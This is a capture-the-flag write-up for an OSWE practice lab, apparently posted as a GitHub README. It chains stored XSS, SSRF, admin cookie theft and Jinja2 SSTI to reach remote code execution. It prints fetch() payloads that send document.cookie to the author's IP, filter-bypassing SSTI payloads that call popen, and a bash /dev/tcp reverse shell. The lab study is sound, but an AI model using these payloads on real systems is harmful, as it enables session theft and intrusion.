Skip to content

Latest commit

 

History

2 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 

Repository files navigation

Carvex Writeup

I am Sahib Humbatzada and open always to challenges and ctfs. This type of challenges always motivates me to learn web security.

App Deployed

alt text

Checklists for vulnerabilities

SSTI payloads for search parameter
SQLI payload for search parameter
SQLI payloads for Sell your car parameters
XSS payloads for Sell your car parameters # succeed)

GET /api/suggest?q={payload}
POST /sell (body=> title=%3Csvg+onload%3Dalert%281%29%3E&make=12321&model=12321&year=12321&price=123213&mileage=123213&image_url=12321&description=12321312)

JWT Decoding

While decoding jwt, i see that uid is 7. It means that, on database, there are other users exists. It can be normal user and admin user.

alt text

Sell Feature

On this feature, I can add XSS payload as below.

alt text

Let's add this blind xss payload and photo url, let's add our server.

<img src=x onerror=fetch("http://192.168.100.179:1337/"+document.cookie);>

alt text

While I submit this, on my http.server logs and i see that file retrieval happened.

alt text

It means that we found SSRF vulnerability. It validated Photo URL without any validation of ip.

Stealing cookie of admin

I looked cookie flags and see that i can steal cookie of target easily.

alt text

I develop steal.js and serve on my attacker server.

Let's upload as below.

http://192.168.100.179:1337/steal.js

alt text

But this way doesn't work. It gets my JS script but no execution.

I created another user testv2 and browsed all cars listing for first user. But i cannot see machines for first user.

I developed this python server to see real SSRF.

from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print("[+] Headers:\n", self.headers)  # check User-Agent here too
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"SSRF_TEST_12345")

HTTPServer(('0.0.0.0', 1337), Handler).serve_forever()

alt text

So, i see that Referer header is from port 5000.

Also, accept header shows image content types.

That's why, I changed payloads as below.

# XSS
http://192.168.100.179:1337/x.png" onerror="fetch('http://192.168.100.179:1337/steal?c='+document.cookie)

alt text

Yesss, it worked. I copy paste this cookie to jwt.io and see uid is 1. It means most probably admin user.

alt text

alt text

Yes, we are admin user.

RCE (with SSTI)

alt text

We see promo feature, we can edit. We don't need to work with XSS as because we are admin.

We need to paste payloads, which we achieve command execution.

First, i started with SSTI.

alt text

alt text

I see that this worked. It means we can achieve RCE via SSTI vulnerability

I see error which i need to bypass.

alt text

I submit below payloads from Google, I find.

payload : {{ ''|attr('_'*2+'class'+'_'*2)|attr('_'*2+'mro'+'_'*2) }}

alt text

payload: {{ ''|attr('_'*2+'class'+'_'*2)|attr('_'*2+'mro'+'_'*2)|attr('_'*2+'getitem'+'_'*2)(1)|attr('_'*2+'subclasses'+'_'*2)() }}

alt text

Finally, I used this payload and achieve command execution.

{{ ''|attr('_'*2+'class'+'_'*2)|attr('_'*2+'mro'+'_'*2)|attr('_'*2+'getitem'+'_'*2)(1)|attr('_'*2+'subclasses'+'_'*2)()|selectattr('_'*2+'name'+'_'*2,'equalto','_wrap_close')|list|first|attr('_'*2+'init'+'_'*2)|attr('_'*2+'globals'+'_'*2)|attr('_'*2+'getitem'+'_'*2)('popen')('id')|attr('read')() }}

alt text

## reverse shell
{{ ''|attr('_'*2+'class'+'_'*2)|attr('_'*2+'mro'+'_'*2)|attr('_'*2+'getitem'+'_'*2)(1)|attr('_'*2+'subclasses'+'_'*2)()|selectattr('_'*2+'name'+'_'*2,'equalto','_wrap_close')|list|first|attr('_'*2+'init'+'_'*2)|attr('_'*2+'globals'+'_'*2)|attr('_'*2+'getitem'+'_'*2)('popen')('bash -c \"bash -i >& /dev/tcp/192.168.100.179/4444 0>&1\"') }}

Hola, I got reverse shell.

alt text

Without AI, on OSWE exam, you open swisskeyrepo payloads on github and there's one super payload waits you to achieve command execution

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

alt text

alt text

Flag

alt text

nnsec{carvex_pwn3d_full_ch4in_rce_4f9a1c}

About

oswe lab

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages